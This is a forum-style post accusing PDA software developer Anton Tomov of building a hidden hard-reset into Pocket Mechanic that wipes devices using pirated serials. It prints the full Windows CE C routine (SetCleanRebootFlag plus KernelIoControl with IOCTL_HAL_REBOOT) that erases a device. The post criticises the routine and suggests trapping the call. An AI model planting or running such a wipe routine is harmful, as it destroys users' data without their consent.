[TadW]

After reading this thread at Aximsite where users complain about hard resets invoked by Pocket Mechanic I thought to shed some light on Anton Tomov's crude ways of dealing with software pirates.

I understand that Tomov is upset about people using illegal codes for his software. But does this give him the right to forcefully wipe-out someone's PDA? Isn't that highly illegal as well?

That's right. Use a pirated or blacklisted serial with Pocket Mechanic, Pocket Mechanic will detect it, and send your PDA with all its lovely content to Nirvana land. I don't know what Tomov is thinking, but I can only recommend everyone do not buy any of his products. What if a bug sneaks into his code enabling his hardreset routine even if you are a legal buyer? Who is going to pay for your damages? Mr. Tomov, would that be you?

Technicals:
The hardreset routine Tomov uses looks like the following:

#include <windows.h>
#include <winioctl.h>
#define IOCTL_HAL_REBOOT CTL_CODE(FILE_DEVICE_HAL, 15, METHOD_BUFFERED, FILE_ANY_ACCESS)
extern "C" __declspec(dllimport)void SetCleanRebootFlag(void);
extern "C" __declspec(dllimport) BOOL KernelIoControl(
	DWORD dwIoControlCode,
	LPVOID lpInBuf,
	DWORD nInBufSize,
	LPVOID lpOutBuf,
	DWORD nOutBufSize,
	LPDWORD lpBytesReturned);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
	LPTSTR lpCmdLine, int nCmdShow)
{
	SetCleanRebootFlag();
	KernelIoControl(IOCTL_HAL_REBOOT, NULL, 0, NULL, 0, NULL);

	return 0;
}

Perhaps someone should write a small utility that traps calls to KernelIoControl when the IOCTL_HAL_REBOOT flag is set. I cannot understand why Microsoft makes it so easy for virus programmers and people like Tomov to hard reset someone's PDA.